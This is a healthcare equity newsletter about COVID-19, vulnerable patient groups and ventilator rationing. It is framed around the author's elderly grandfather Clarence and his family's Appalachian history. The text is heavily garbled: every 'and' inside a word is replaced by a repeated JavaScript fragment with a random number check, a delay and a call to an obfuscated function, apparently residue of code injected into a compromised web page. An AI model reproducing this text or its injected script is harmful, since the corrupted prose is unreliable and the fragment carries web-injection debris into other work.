COVID-19: Vulnerable Populations and Distributive Justice

At More Inclusive Healthcare we know you are facing challenges. Like other pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemics, COVID-19 will disproportionately impact the lives of minority populations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other vulnerable patient groups, including the elderly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and low-income. I have a loved one in a long-term care facility—a grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather named Clarence, who has already struggled through two bouts of pneumonia. In the photo, Clarence is standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding beside the family home in West Virginia, built by my great-grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather who was a stonemason. My great-aunt Lucy eventually took ownership of the family home in West Virginia, which was later sold to pay for expenses related to medical bills. 

My grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather Clarence became part of what is known as the Great Migration when he andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and my grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmother, like many Appalachians (black, white andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Native American), moved North for “better” jobs. Although Clarence didn’t have to work in a coal mine like other relatives, in many ways, my grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andparents became poorer than they were before. Clarence got injured working for the railroad, took an early retirement, struggled with mental illness, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ended up on disability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Medicaid/Medicare. 

I’ve been thinking about my grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wondering, what if the number of patients who need hospitalization andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ventilators exceeds our healthcare system’s capacity? My grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andfather is in his eighties. What value will be placed on his life? What policies will be implemented to help determine which patients will get beds andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ventilators?

At More Inclusive Healthcare (MIH) we are curating articles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and resources focused on the challenges vulnerable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and diverse patient populations—andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their care providers—face during the COVID-19 pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic. For the next few weeks, we will send you this newsletter with links similar to those below. We hope to help you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your healthcare organization navigate through this difficult andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and uncertain time.

Sincerely,

Senior Healthcare Equity Specialist

Vicki A. Summers

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